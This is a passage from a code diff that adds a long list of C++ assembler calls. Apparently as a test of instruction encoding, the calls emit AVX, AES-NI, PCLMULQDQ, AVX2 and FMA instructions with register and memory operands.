+ a.vpinsrw(xmmA, xmmB, gzC, 0); + a.vpinsrw(xmmA, xmmB, anyptr_gpC, 0); + a.vpmaddubsw(xmmA, xmmB, xmmC); + a.vpmaddubsw(xmmA, xmmB, anyptr_gpC); + a.vpmaddwd(xmmA, xmmB, xmmC); + a.vpmaddwd(xmmA, xmmB, anyptr_gpC); + a.vpmaxsb(xmmA, xmmB, xmmC); + a.vpmaxsb(xmmA, xmmB, anyptr_gpC); + a.vpmaxsd(xmmA, xmmB, xmmC); + a.vpmaxsd(xmmA, xmmB, anyptr_gpC); + a.vpmaxsw(xmmA, xmmB, xmmC); + a.vpmaxsw(xmmA, xmmB, anyptr_gpC); + a.vpmaxub(xmmA, xmmB, xmmC); + a.vpmaxub(xmmA, xmmB, anyptr_gpC); + a.vpmaxud(xmmA, xmmB, xmmC); + a.vpmaxud(xmmA, xmmB, anyptr_gpC); + a.vpmaxuw(xmmA, xmmB, xmmC); + a.vpmaxuw(xmmA, xmmB, anyptr_gpC); + a.vpminsb(xmmA, xmmB, xmmC); + a.vpminsb(xmmA, xmmB, anyptr_gpC); + a.vpminsd(xmmA, xmmB, xmmC); + a.vpminsd(xmmA, xmmB, anyptr_gpC); + a.vpminsw(xmmA, xmmB, xmmC); + a.vpminsw(xmmA, xmmB, anyptr_gpC); + a.vpminub(xmmA, xmmB, xmmC); + a.vpminub(xmmA, xmmB, anyptr_gpC); + a.vpminud(xmmA, xmmB, xmmC); + a.vpminud(xmmA, xmmB, anyptr_gpC); + a.vpminuw(xmmA, xmmB, xmmC); + a.vpminuw(xmmA, xmmB, anyptr_gpC); + a.vpmovmskb(gzA, xmmB); + a.vpmovsxbd(xmmA, xmmB); + a.vpmovsxbd(xmmA, anyptr_gpB); + a.vpmovsxbq(xmmA, xmmB); + a.vpmovsxbq(xmmA, anyptr_gpB); + a.vpmovsxbw(xmmA, xmmB); + a.vpmovsxbw(xmmA, anyptr_gpB); + a.vpmovsxdq(xmmA, xmmB); + a.vpmovsxdq(xmmA, anyptr_gpB); + a.vpmovsxwd(xmmA, xmmB); + a.vpmovsxwd(xmmA, anyptr_gpB); + a.vpmovsxwq(xmmA, xmmB); + a.vpmovsxwq(xmmA, anyptr_gpB); + a.vpmovzxbd(xmmA, xmmB); + a.vpmovzxbd(xmmA, anyptr_gpB); + a.vpmovzxbq(xmmA, xmmB); + a.vpmovzxbq(xmmA, anyptr_gpB); + a.vpmovzxbw(xmmA, xmmB); + a.vpmovzxbw(xmmA, anyptr_gpB); + a.vpmovzxdq(xmmA, xmmB); + a.vpmovzxdq(xmmA, anyptr_gpB); + a.vpmovzxwd(xmmA, xmmB); + a.vpmovzxwd(xmmA, anyptr_gpB); + a.vpmovzxwq(xmmA, xmmB); + a.vpmovzxwq(xmmA, anyptr_gpB); + a.vpmuldq(xmmA, xmmB, xmmC); + a.vpmuldq(xmmA, xmmB, anyptr_gpC); + a.vpmulhrsw(xmmA, xmmB, xmmC); + a.vpmulhrsw(xmmA, xmmB, anyptr_gpC); + a.vpmulhuw(xmmA, xmmB, xmmC); + a.vpmulhuw(xmmA, xmmB, anyptr_gpC); + a.vpmulhw(xmmA, xmmB, xmmC); + a.vpmulhw(xmmA, xmmB, anyptr_gpC); + a.vpmulld(xmmA, xmmB, xmmC); + a.vpmulld(xmmA, xmmB, anyptr_gpC); + a.vpmullw(xmmA, xmmB, xmmC); + a.vpmullw(xmmA, xmmB, anyptr_gpC); + a.vpmuludq(xmmA, xmmB, xmmC); + a.vpmuludq(xmmA, xmmB, anyptr_gpC); + a.vpor(xmmA, xmmB, xmmC); + a.vpor(xmmA, xmmB, anyptr_gpC); + a.vpsadbw(xmmA, xmmB, xmmC); + a.vpsadbw(xmmA, xmmB, anyptr_gpC); + a.vpshufb(xmmA, xmmB, xmmC); + a.vpshufb(xmmA, xmmB, anyptr_gpC); + a.vpshufd(xmmA, xmmB, 0); + a.vpshufd(xmmA, anyptr_gpB, 0); + a.vpshufhw(xmmA, xmmB, 0); + a.vpshufhw(xmmA, anyptr_gpB, 0); + a.vpshuflw(xmmA, xmmB, 0); + a.vpshuflw(xmmA, anyptr_gpB, 0); + a.vpsignb(xmmA, xmmB, xmmC); + a.vpsignb(xmmA, xmmB, anyptr_gpC); + a.vpsignd(xmmA, xmmB, xmmC); + a.vpsignd(xmmA, xmmB, anyptr_gpC); + a.vpsignw(xmmA, xmmB, xmmC); + a.vpsignw(xmmA, xmmB, anyptr_gpC); + a.vpslld(xmmA, xmmB, xmmC); + a.vpslld(xmmA, xmmB, anyptr_gpC); + a.vpslld(xmmA, xmmB, 0); + a.vpslldq(xmmA, xmmB, 0); + a.vpsllq(xmmA, xmmB, xmmC); + a.vpsllq(xmmA, xmmB, anyptr_gpC); + a.vpsllq(xmmA, xmmB, 0); + a.vpsllw(xmmA, xmmB, xmmC); + a.vpsllw(xmmA, xmmB, anyptr_gpC); + a.vpsllw(xmmA, xmmB, 0); + a.vpsrad(xmmA, xmmB, xmmC); + a.vpsrad(xmmA, xmmB, anyptr_gpC); + a.vpsrad(xmmA, xmmB, 0); + a.vpsraw(xmmA, xmmB, xmmC); + a.vpsraw(xmmA, xmmB, anyptr_gpC); + a.vpsraw(xmmA, xmmB, 0); + a.vpsrld(xmmA, xmmB, xmmC); + a.vpsrld(xmmA, xmmB, anyptr_gpC); + a.vpsrld(xmmA, xmmB, 0); + a.vpsrldq(xmmA, xmmB, 0); + a.vpsrlq(xmmA, xmmB, xmmC); + a.vpsrlq(xmmA, xmmB, anyptr_gpC); + a.vpsrlq(xmmA, xmmB, 0); + a.vpsrlw(xmmA, xmmB, xmmC); + a.vpsrlw(xmmA, xmmB, anyptr_gpC); + a.vpsrlw(xmmA, xmmB, 0); + a.vpsubb(xmmA, xmmB, xmmC); + a.vpsubb(xmmA, xmmB, anyptr_gpC); + a.vpsubd(xmmA, xmmB, xmmC); + a.vpsubd(xmmA, xmmB, anyptr_gpC); + a.vpsubq(xmmA, xmmB, xmmC); + a.vpsubq(xmmA, xmmB, anyptr_gpC); + a.vpsubw(xmmA, xmmB, xmmC); + a.vpsubw(xmmA, xmmB, anyptr_gpC); + a.vpsubsb(xmmA, xmmB, xmmC); + a.vpsubsb(xmmA, xmmB, anyptr_gpC); + a.vpsubsw(xmmA, xmmB, xmmC); + a.vpsubsw(xmmA, xmmB, anyptr_gpC); + a.vpsubusb(xmmA, xmmB, xmmC); + a.vpsubusb(xmmA, xmmB, anyptr_gpC); + a.vpsubusw(xmmA, xmmB, xmmC); + a.vpsubusw(xmmA, xmmB, anyptr_gpC); + a.vptest(xmmA, xmmB); + a.vptest(xmmA, anyptr_gpB); + a.vptest(ymmA, ymmB); + a.vptest(ymmA, anyptr_gpB); + a.vpunpckhbw(xmmA, xmmB, xmmC); + a.vpunpckhbw(xmmA, xmmB, anyptr_gpC); + a.vpunpckhdq(xmmA, xmmB, xmmC); + a.vpunpckhdq(xmmA, xmmB, anyptr_gpC); + a.vpunpckhqdq(xmmA, xmmB, xmmC); + a.vpunpckhqdq(xmmA, xmmB, anyptr_gpC); + a.vpunpckhwd(xmmA, xmmB, xmmC); + a.vpunpckhwd(xmmA, xmmB, anyptr_gpC); + a.vpunpcklbw(xmmA, xmmB, xmmC); + a.vpunpcklbw(xmmA, xmmB, anyptr_gpC); + a.vpunpckldq(xmmA, xmmB, xmmC); + a.vpunpckldq(xmmA, xmmB, anyptr_gpC); + a.vpunpcklqdq(xmmA, xmmB, xmmC); + a.vpunpcklqdq(xmmA, xmmB, anyptr_gpC); + a.vpunpcklwd(xmmA, xmmB, xmmC); + a.vpunpcklwd(xmmA, xmmB, anyptr_gpC); + a.vpxor(xmmA, xmmB, xmmC); + a.vpxor(xmmA, xmmB, anyptr_gpC); + a.vrcpps(xmmA, xmmB); + a.vrcpps(xmmA, anyptr_gpB); + a.vrcpps(ymmA, ymmB); + a.vrcpps(ymmA, anyptr_gpB); + a.vrcpss(xmmA, xmmB, xmmC); + a.vrcpss(xmmA, xmmB, anyptr_gpC); + a.vrsqrtps(xmmA, xmmB); + a.vrsqrtps(xmmA, anyptr_gpB); + a.vrsqrtps(ymmA, ymmB); + a.vrsqrtps(ymmA, anyptr_gpB); + a.vrsqrtss(xmmA, xmmB, xmmC); + a.vrsqrtss(xmmA, xmmB, anyptr_gpC); + a.vroundpd(xmmA, xmmB, 0); + a.vroundpd(xmmA, anyptr_gpB, 0); + a.vroundpd(ymmA, ymmB, 0); + a.vroundpd(ymmA, anyptr_gpB, 0); + a.vroundps(xmmA, xmmB, 0); + a.vroundps(xmmA, anyptr_gpB, 0); + a.vroundps(ymmA, ymmB, 0); + a.vroundps(ymmA, anyptr_gpB, 0); + a.vroundsd(xmmA, xmmB, xmmC, 0); + a.vroundsd(xmmA, xmmB, anyptr_gpC, 0); + a.vroundss(xmmA, xmmB, xmmC, 0); + a.vroundss(xmmA, xmmB, anyptr_gpC, 0); + a.vshufpd(xmmA, xmmB, xmmC, 0); + a.vshufpd(xmmA, xmmB, anyptr_gpC, 0); + a.vshufpd(ymmA, ymmB, ymmC, 0); + a.vshufpd(ymmA, ymmB, anyptr_gpC, 0); + a.vshufps(xmmA, xmmB, xmmC, 0); + a.vshufps(xmmA, xmmB, anyptr_gpC, 0); + a.vshufps(ymmA, ymmB, ymmC, 0); + a.vshufps(ymmA, ymmB, anyptr_gpC, 0); + a.vsqrtpd(xmmA, xmmB); + a.vsqrtpd(xmmA, anyptr_gpB); + a.vsqrtpd(ymmA, ymmB); + a.vsqrtpd(ymmA, anyptr_gpB); + a.vsqrtps(xmmA, xmmB); + a.vsqrtps(xmmA, anyptr_gpB); + a.vsqrtps(ymmA, ymmB); + a.vsqrtps(ymmA, anyptr_gpB); + a.vsqrtsd(xmmA, xmmB, xmmC); + a.vsqrtsd(xmmA, xmmB, anyptr_gpC); + a.vsqrtss(xmmA, xmmB, xmmC); + a.vsqrtss(xmmA, xmmB, anyptr_gpC); + a.vstmxcsr(anyptr_gpA); + a.vsubpd(xmmA, xmmB, xmmC); + a.vsubpd(xmmA, xmmB, anyptr_gpC); + a.vsubpd(ymmA, ymmB, ymmC); + a.vsubpd(ymmA, ymmB, anyptr_gpC); + a.vsubps(xmmA, xmmB, xmmC); + a.vsubps(xmmA, xmmB, anyptr_gpC); + a.vsubps(ymmA, ymmB, ymmC); + a.vsubps(ymmA, ymmB, anyptr_gpC); + a.vsubsd(xmmA, xmmB, xmmC); + a.vsubsd(xmmA, xmmB, anyptr_gpC); + a.vsubss(xmmA, xmmB, xmmC); + a.vsubss(xmmA, xmmB, anyptr_gpC); + a.vtestps(xmmA, xmmB); + a.vtestps(xmmA, anyptr_gpB); + a.vtestps(ymmA, ymmB); + a.vtestps(ymmA, anyptr_gpB); + a.vtestpd(xmmA, xmmB); + a.vtestpd(xmmA, anyptr_gpB); + a.vtestpd(ymmA, ymmB); + a.vtestpd(ymmA, anyptr_gpB); + a.vucomisd(xmmA, xmmB); + a.vucomisd(xmmA, anyptr_gpB); + a.vucomiss(xmmA, xmmB); + a.vucomiss(xmmA, anyptr_gpB); + a.vunpckhpd(xmmA, xmmB, xmmC); + a.vunpckhpd(xmmA, xmmB, anyptr_gpC); + a.vunpckhpd(ymmA, ymmB, ymmC); + a.vunpckhpd(ymmA, ymmB, anyptr_gpC); + a.vunpckhps(xmmA, xmmB, xmmC); + a.vunpckhps(xmmA, xmmB, anyptr_gpC); + a.vunpckhps(ymmA, ymmB, ymmC); + a.vunpckhps(ymmA, ymmB, anyptr_gpC); + a.vunpcklpd(xmmA, xmmB, xmmC); + a.vunpcklpd(xmmA, xmmB, anyptr_gpC); + a.vunpcklpd(ymmA, ymmB, ymmC); + a.vunpcklpd(ymmA, ymmB, anyptr_gpC); + a.vunpcklps(xmmA, xmmB, xmmC); + a.vunpcklps(xmmA, xmmB, anyptr_gpC); + a.vunpcklps(ymmA, ymmB, ymmC); + a.vunpcklps(ymmA, ymmB, anyptr_gpC); + a.vxorpd(xmmA, xmmB, xmmC); + a.vxorpd(xmmA, xmmB, anyptr_gpC); + a.vxorpd(ymmA, ymmB, ymmC); + a.vxorpd(ymmA, ymmB, anyptr_gpC); + a.vxorps(xmmA, xmmB, xmmC); + a.vxorps(xmmA, xmmB, anyptr_gpC); + a.vxorps(ymmA, ymmB, ymmC); + a.vxorps(ymmA, ymmB, anyptr_gpC); + a.vzeroall(); + a.vex3().vzeroall(); + a.vzeroupper(); + a.vex3().vzeroupper(); + + // AVX+AESNI. + a.nop(); + + a.vaesdec(xmmA, xmmB, xmmC); + a.vaesdec(xmmA, xmmB, anyptr_gpC); + a.vaesdeclast(xmmA, xmmB, xmmC); + a.vaesdeclast(xmmA, xmmB, anyptr_gpC); + a.vaesenc(xmmA, xmmB, xmmC); + a.vaesenc(xmmA, xmmB, anyptr_gpC); + a.vaesenclast(xmmA, xmmB, xmmC); + a.vaesenclast(xmmA, xmmB, anyptr_gpC); + a.vaesimc(xmmA, xmmB); + a.vaesimc(xmmA, anyptr_gpB); + a.vaeskeygenassist(xmmA, xmmB, 0); + a.vaeskeygenassist(xmmA, anyptr_gpB, 0); + + // AVX+PCLMULQDQ. + a.nop(); + + a.vpclmulqdq(xmmA, xmmB, xmmC, 0); + a.vpclmulqdq(xmmA, xmmB, anyptr_gpC, 0); + + // AVX2. + a.nop(); + + a.vbroadcasti128(ymmA, anyptr_gpB); + a.vbroadcastsd(ymmA, xmmB); + a.vbroadcastss(xmmA, xmmB); + a.vbroadcastss(ymmA, xmmB); + a.vextracti128(xmmA, ymmB, 0); + a.vextracti128(anyptr_gpA, ymmB, 0); + a.vgatherdpd(xmmA, vx_ptr, xmmC); + a.vgatherdpd(ymmA, vx_ptr, ymmC); + a.vgatherdps(xmmA, vx_ptr, xmmC); + a.vgatherdps(ymmA, vy_ptr, ymmC); + a.vgatherqpd(xmmA, vx_ptr, xmmC); + a.vgatherqpd(ymmA, vy_ptr, ymmC); + a.vgatherqps(xmmA, vx_ptr, xmmC); + a.vgatherqps(xmmA, vy_ptr, xmmC); + a.vinserti128(ymmA, ymmB, xmmC, 0); + a.vinserti128(ymmA, ymmB, anyptr_gpC, 0); + a.vmovntdqa(ymmA, anyptr_gpB); + a.vmpsadbw(ymmA, ymmB, ymmC, 0); + a.vmpsadbw(ymmA, ymmB, anyptr_gpC, 0); + a.vpabsb(ymmA, ymmB); + a.vpabsb(ymmA, anyptr_gpB); + a.vpabsd(ymmA, ymmB); + a.vpabsd(ymmA, anyptr_gpB); + a.vpabsw(ymmA, ymmB); + a.vpabsw(ymmA, anyptr_gpB); + a.vpackssdw(ymmA, ymmB, ymmC); + a.vpackssdw(ymmA, ymmB, anyptr_gpC); + a.vpacksswb(ymmA, ymmB, ymmC); + a.vpacksswb(ymmA, ymmB, anyptr_gpC); + a.vpackusdw(ymmA, ymmB, ymmC); + a.vpackusdw(ymmA, ymmB, anyptr_gpC); + a.vpackuswb(ymmA, ymmB, ymmC); + a.vpackuswb(ymmA, ymmB, anyptr_gpC); + a.vpaddb(ymmA, ymmB, ymmC); + a.vpaddb(ymmA, ymmB, anyptr_gpC); + a.vpaddd(ymmA, ymmB, ymmC); + a.vpaddd(ymmA, ymmB, anyptr_gpC); + a.vpaddq(ymmA, ymmB, ymmC); + a.vpaddq(ymmA, ymmB, anyptr_gpC); + a.vpaddw(ymmA, ymmB, ymmC); + a.vpaddw(ymmA, ymmB, anyptr_gpC); + a.vpaddsb(ymmA, ymmB, ymmC); + a.vpaddsb(ymmA, ymmB, anyptr_gpC); + a.vpaddsw(ymmA, ymmB, ymmC); + a.vpaddsw(ymmA, ymmB, anyptr_gpC); + a.vpaddusb(ymmA, ymmB, ymmC); + a.vpaddusb(ymmA, ymmB, anyptr_gpC); + a.vpaddusw(ymmA, ymmB, ymmC); + a.vpaddusw(ymmA, ymmB, anyptr_gpC); + a.vpalignr(ymmA, ymmB, ymmC, 0); + a.vpalignr(ymmA, ymmB, anyptr_gpC, 0); + a.vpand(ymmA, ymmB, ymmC); + a.vpand(ymmA, ymmB, anyptr_gpC); + a.vpandn(ymmA, ymmB, ymmC); + a.vpandn(ymmA, ymmB, anyptr_gpC); + a.vpavgb(ymmA, ymmB, ymmC); + a.vpavgb(ymmA, ymmB, anyptr_gpC); + a.vpavgw(ymmA, ymmB, ymmC); + a.vpavgw(ymmA, ymmB, anyptr_gpC); + a.vpblendd(xmmA, xmmB, xmmC, 0); + a.vpblendd(xmmA, xmmB, anyptr_gpC, 0); + a.vpblendd(ymmA, ymmB, ymmC, 0); + a.vpblendd(ymmA, ymmB, anyptr_gpC, 0); + a.vpblendvb(ymmA, ymmB, ymmC, ymmD); + a.vpblendvb(ymmA, ymmB, anyptr_gpC, ymmD); + a.vpblendw(ymmA, ymmB, ymmC, 0); + a.vpblendw(ymmA, ymmB, anyptr_gpC, 0); + a.vpbroadcastb(xmmA, xmmB); + a.vpbroadcastb(xmmA, anyptr_gpB); + a.vpbroadcastb(ymmA, xmmB); + a.vpbroadcastb(ymmA, anyptr_gpB); + a.vpbroadcastd(xmmA, xmmB); + a.vpbroadcastd(xmmA, anyptr_gpB); + a.vpbroadcastd(ymmA, xmmB); + a.vpbroadcastd(ymmA, anyptr_gpB); + a.vpbroadcastq(xmmA, xmmB); + a.vpbroadcastq(xmmA, anyptr_gpB); + a.vpbroadcastq(ymmA, xmmB); + a.vpbroadcastq(ymmA, anyptr_gpB); + a.vpbroadcastw(xmmA, xmmB); + a.vpbroadcastw(xmmA, anyptr_gpB); + a.vpbroadcastw(ymmA, xmmB); + a.vpbroadcastw(ymmA, anyptr_gpB); + a.vpcmpeqb(ymmA, ymmB, ymmC); + a.vpcmpeqb(ymmA, ymmB, anyptr_gpC); + a.vpcmpeqd(ymmA, ymmB, ymmC); + a.vpcmpeqd(ymmA, ymmB, anyptr_gpC); + a.vpcmpeqq(ymmA, ymmB, ymmC); + a.vpcmpeqq(ymmA, ymmB, anyptr_gpC); + a.vpcmpeqw(ymmA, ymmB, ymmC); + a.vpcmpeqw(ymmA, ymmB, anyptr_gpC); + a.vpcmpgtb(ymmA, ymmB, ymmC); + a.vpcmpgtb(ymmA, ymmB, anyptr_gpC); + a.vpcmpgtd(ymmA, ymmB, ymmC); + a.vpcmpgtd(ymmA, ymmB, anyptr_gpC); + a.vpcmpgtq(ymmA, ymmB, ymmC); + a.vpcmpgtq(ymmA, ymmB, anyptr_gpC); + a.vpcmpgtw(ymmA, ymmB, ymmC); + a.vpcmpgtw(ymmA, ymmB, anyptr_gpC); + a.vperm2i128(ymmA, ymmB, ymmC, 0); + a.vperm2i128(ymmA, ymmB, anyptr_gpC, 0); + a.vpermd(ymmA, ymmB, ymmC); + a.vpermd(ymmA, ymmB, anyptr_gpC); + a.vpermps(ymmA, ymmB, ymmC); + a.vpermps(ymmA, ymmB, anyptr_gpC); + a.vpermpd(ymmA, ymmB, 0); + a.vpermpd(ymmA, anyptr_gpB, 0); + a.vpermq(ymmA, ymmB, 0); + a.vpermq(ymmA, anyptr_gpB, 0); + a.vpgatherdd(xmmA, vx_ptr, xmmC); + a.vpgatherdd(ymmA, vy_ptr, ymmC); + a.vpgatherdq(xmmA, vx_ptr, xmmC); + a.vpgatherdq(ymmA, vx_ptr, ymmC); + a.vpgatherqd(xmmA, vx_ptr, xmmC); + a.vpgatherqd(xmmA, vy_ptr, xmmC); + a.vpgatherqq(xmmA, vx_ptr, xmmC); + a.vpgatherqq(ymmA, vy_ptr, ymmC); + a.vpmovmskb(gzA, ymmB); + a.vpmovsxbd(ymmA, anyptr_gpB); + a.vpmovsxbd(ymmA, xmmB); + a.vpmovsxbq(ymmA, anyptr_gpB); + a.vpmovsxbq(ymmA, xmmB); + a.vpmovsxbw(ymmA, anyptr_gpB); + a.vpmovsxbw(ymmA, xmmB); + a.vpmovsxdq(ymmA, anyptr_gpB); + a.vpmovsxdq(ymmA, xmmB); + a.vpmovsxwd(ymmA, anyptr_gpB); + a.vpmovsxwd(ymmA, xmmB); + a.vpmovsxwq(ymmA, anyptr_gpB); + a.vpmovsxwq(ymmA, xmmB); + a.vpmovzxbd(ymmA, anyptr_gpB); + a.vpmovzxbd(ymmA, xmmB); + a.vpmovzxbq(ymmA, anyptr_gpB); + a.vpmovzxbq(ymmA, xmmB); + a.vpmovzxbw(ymmA, anyptr_gpB); + a.vpmovzxbw(ymmA, xmmB); + a.vpmovzxdq(ymmA, anyptr_gpB); + a.vpmovzxdq(ymmA, xmmB); + a.vpmovzxwd(ymmA, anyptr_gpB); + a.vpmovzxwd(ymmA, xmmB); + a.vpmovzxwq(ymmA, anyptr_gpB); + a.vpmovzxwq(ymmA, xmmB); + a.vpshufd(ymmA, anyptr_gpB, 0); + a.vpshufd(ymmA, ymmB, 0); + a.vpshufhw(ymmA, anyptr_gpB, 0); + a.vpshufhw(ymmA, ymmB, 0); + a.vpshuflw(ymmA, anyptr_gpB, 0); + a.vpshuflw(ymmA, ymmB, 0); + a.vpslld(ymmA, ymmB, 0); + a.vpslldq(ymmA, ymmB, 0); + a.vpsllq(ymmA, ymmB, 0); + a.vpsllw(ymmA, ymmB, 0); + a.vpsrad(ymmA, ymmB, 0); + a.vpsraw(ymmA, ymmB, 0); + a.vpsrld(ymmA, ymmB, 0); + a.vpsrldq(ymmA, ymmB, 0); + a.vpsrlq(ymmA, ymmB, 0); + a.vpsrlw(ymmA, ymmB, 0); + a.vphaddd(ymmA, ymmB, anyptr_gpC); + a.vphaddd(ymmA, ymmB, ymmC); + a.vphaddsw(ymmA, ymmB, anyptr_gpC); + a.vphaddsw(ymmA, ymmB, ymmC); + a.vphaddw(ymmA, ymmB, anyptr_gpC); + a.vphaddw(ymmA, ymmB, ymmC); + a.vphsubd(ymmA, ymmB, anyptr_gpC); + a.vphsubd(ymmA, ymmB, ymmC); + a.vphsubsw(ymmA, ymmB, anyptr_gpC); + a.vphsubsw(ymmA, ymmB, ymmC); + a.vphsubw(ymmA, ymmB, anyptr_gpC); + a.vphsubw(ymmA, ymmB, ymmC); + a.vpmaddubsw(ymmA, ymmB, anyptr_gpC); + a.vpmaddubsw(ymmA, ymmB, ymmC); + a.vpmaddwd(ymmA, ymmB, anyptr_gpC); + a.vpmaddwd(ymmA, ymmB, ymmC); + a.vpmaskmovd(anyptr_gpA, xmmB, xmmC); + a.vpmaskmovd(anyptr_gpA, ymmB, ymmC); + a.vpmaskmovd(xmmA, xmmB, anyptr_gpC); + a.vpmaskmovd(ymmA, ymmB, anyptr_gpC); + a.vpmaskmovq(anyptr_gpA, xmmB, xmmC); + a.vpmaskmovq(anyptr_gpA, ymmB, ymmC); + a.vpmaskmovq(xmmA, xmmB, anyptr_gpC); + a.vpmaskmovq(ymmA, ymmB, anyptr_gpC); + a.vpmaxsb(ymmA, ymmB, anyptr_gpC); + a.vpmaxsb(ymmA, ymmB, ymmC); + a.vpmaxsd(ymmA, ymmB, anyptr_gpC); + a.vpmaxsd(ymmA, ymmB, ymmC); + a.vpmaxsw(ymmA, ymmB, anyptr_gpC); + a.vpmaxsw(ymmA, ymmB, ymmC); + a.vpmaxub(ymmA, ymmB, anyptr_gpC); + a.vpmaxub(ymmA, ymmB, ymmC); + a.vpmaxud(ymmA, ymmB, anyptr_gpC); + a.vpmaxud(ymmA, ymmB, ymmC); + a.vpmaxuw(ymmA, ymmB, anyptr_gpC); + a.vpmaxuw(ymmA, ymmB, ymmC); + a.vpminsb(ymmA, ymmB, anyptr_gpC); + a.vpminsb(ymmA, ymmB, ymmC); + a.vpminsd(ymmA, ymmB, anyptr_gpC); + a.vpminsd(ymmA, ymmB, ymmC); + a.vpminsw(ymmA, ymmB, anyptr_gpC); + a.vpminsw(ymmA, ymmB, ymmC); + a.vpminub(ymmA, ymmB, anyptr_gpC); + a.vpminub(ymmA, ymmB, ymmC); + a.vpminud(ymmA, ymmB, anyptr_gpC); + a.vpminud(ymmA, ymmB, ymmC); + a.vpminuw(ymmA, ymmB, anyptr_gpC); + a.vpminuw(ymmA, ymmB, ymmC); + a.vpmuldq(ymmA, ymmB, anyptr_gpC); + a.vpmuldq(ymmA, ymmB, ymmC); + a.vpmulhrsw(ymmA, ymmB, anyptr_gpC); + a.vpmulhrsw(ymmA, ymmB, ymmC); + a.vpmulhuw(ymmA, ymmB, anyptr_gpC); + a.vpmulhuw(ymmA, ymmB, ymmC); + a.vpmulhw(ymmA, ymmB, anyptr_gpC); + a.vpmulhw(ymmA, ymmB, ymmC); + a.vpmulld(ymmA, ymmB, anyptr_gpC); + a.vpmulld(ymmA, ymmB, ymmC); + a.vpmullw(ymmA, ymmB, anyptr_gpC); + a.vpmullw(ymmA, ymmB, ymmC); + a.vpmuludq(ymmA, ymmB, anyptr_gpC); + a.vpmuludq(ymmA, ymmB, ymmC); + a.vpor(ymmA, ymmB, anyptr_gpC); + a.vpor(ymmA, ymmB, ymmC); + a.vpsadbw(ymmA, ymmB, anyptr_gpC); + a.vpsadbw(ymmA, ymmB, ymmC); + a.vpshufb(ymmA, ymmB, anyptr_gpC); + a.vpshufb(ymmA, ymmB, ymmC); + a.vpsignb(ymmA, ymmB, anyptr_gpC); + a.vpsignb(ymmA, ymmB, ymmC); + a.vpsignd(ymmA, ymmB, anyptr_gpC); + a.vpsignd(ymmA, ymmB, ymmC); + a.vpsignw(ymmA, ymmB, anyptr_gpC); + a.vpsignw(ymmA, ymmB, ymmC); + a.vpslld(ymmA, ymmB, anyptr_gpC); + a.vpslld(ymmA, ymmB, xmmC); + a.vpsllq(ymmA, ymmB, anyptr_gpC); + a.vpsllq(ymmA, ymmB, xmmC); + a.vpsllvd(xmmA, xmmB, anyptr_gpC); + a.vpsllvd(xmmA, xmmB, xmmC); + a.vpsllvd(ymmA, ymmB, anyptr_gpC); + a.vpsllvd(ymmA, ymmB, ymmC); + a.vpsllvq(xmmA, xmmB, anyptr_gpC); + a.vpsllvq(xmmA, xmmB, xmmC); + a.vpsllvq(ymmA, ymmB, anyptr_gpC); + a.vpsllvq(ymmA, ymmB, ymmC); + a.vpsllw(ymmA, ymmB, anyptr_gpC); + a.vpsllw(ymmA, ymmB, xmmC); + a.vpsrad(ymmA, ymmB, anyptr_gpC); + a.vpsrad(ymmA, ymmB, xmmC); + a.vpsravd(xmmA, xmmB, anyptr_gpC); + a.vpsravd(xmmA, xmmB, xmmC); + a.vpsravd(ymmA, ymmB, anyptr_gpC); + a.vpsravd(ymmA, ymmB, ymmC); + a.vpsraw(ymmA, ymmB, anyptr_gpC); + a.vpsraw(ymmA, ymmB, xmmC); + a.vpsrld(ymmA, ymmB, anyptr_gpC); + a.vpsrld(ymmA, ymmB, xmmC); + a.vpsrlq(ymmA, ymmB, anyptr_gpC); + a.vpsrlq(ymmA, ymmB, xmmC); + a.vpsrlvd(xmmA, xmmB, anyptr_gpC); + a.vpsrlvd(xmmA, xmmB, xmmC); + a.vpsrlvd(ymmA, ymmB, anyptr_gpC); + a.vpsrlvd(ymmA, ymmB, ymmC); + a.vpsrlvq(xmmA, xmmB, anyptr_gpC); + a.vpsrlvq(xmmA, xmmB, xmmC); + a.vpsrlvq(ymmA, ymmB, anyptr_gpC); + a.vpsrlvq(ymmA, ymmB, ymmC); + a.vpsrlw(ymmA, ymmB, anyptr_gpC); + a.vpsrlw(ymmA, ymmB, xmmC); + a.vpsubb(ymmA, ymmB, anyptr_gpC); + a.vpsubb(ymmA, ymmB, ymmC); + a.vpsubd(ymmA, ymmB, anyptr_gpC); + a.vpsubd(ymmA, ymmB, ymmC); + a.vpsubq(ymmA, ymmB, anyptr_gpC); + a.vpsubq(ymmA, ymmB, ymmC); + a.vpsubsb(ymmA, ymmB, anyptr_gpC); + a.vpsubsb(ymmA, ymmB, ymmC); + a.vpsubsw(ymmA, ymmB, anyptr_gpC); + a.vpsubsw(ymmA, ymmB, ymmC); + a.vpsubusb(ymmA, ymmB, anyptr_gpC); + a.vpsubusb(ymmA, ymmB, ymmC); + a.vpsubusw(ymmA, ymmB, anyptr_gpC); + a.vpsubusw(ymmA, ymmB, ymmC); + a.vpsubw(ymmA, ymmB, anyptr_gpC); + a.vpsubw(ymmA, ymmB, ymmC); + a.vpunpckhbw(ymmA, ymmB, anyptr_gpC); + a.vpunpckhbw(ymmA, ymmB, ymmC); + a.vpunpckhdq(ymmA, ymmB, anyptr_gpC); + a.vpunpckhdq(ymmA, ymmB, ymmC); + a.vpunpckhqdq(ymmA, ymmB, anyptr_gpC); + a.vpunpckhqdq(ymmA, ymmB, ymmC); + a.vpunpckhwd(ymmA, ymmB, anyptr_gpC); + a.vpunpckhwd(ymmA, ymmB, ymmC); + a.vpunpcklbw(ymmA, ymmB, anyptr_gpC); + a.vpunpcklbw(ymmA, ymmB, ymmC); + a.vpunpckldq(ymmA, ymmB, anyptr_gpC); + a.vpunpckldq(ymmA, ymmB, ymmC); + a.vpunpcklqdq(ymmA, ymmB, anyptr_gpC); + a.vpunpcklqdq(ymmA, ymmB, ymmC); + a.vpunpcklwd(ymmA, ymmB, anyptr_gpC); + a.vpunpcklwd(ymmA, ymmB, ymmC); + a.vpxor(ymmA, ymmB, anyptr_gpC); + a.vpxor(ymmA, ymmB, ymmC); + + // FMA. + a.nop(); + + a.vfmadd132pd(xmmA, xmmB, anyptr_gpC); + a.vfmadd132pd(xmmA, xmmB, xmmC); + a.vfmadd132pd(ymmA, ymmB, anyptr_gpC); + a.vfmadd132pd(ymmA, ymmB, ymmC); + a.vfmadd132ps(xmmA, xmmB, anyptr_gpC); + a.vfmadd132ps(xmmA, xmmB, xmmC); + a.vfmadd132ps(ymmA, ymmB, anyptr_gpC); + a.vfmadd132ps(ymmA, ymmB, ymmC); + a.vfmadd132sd(xmmA, xmmB, anyptr_gpC); + a.vfmadd132sd(xmmA, xmmB, xmmC); + 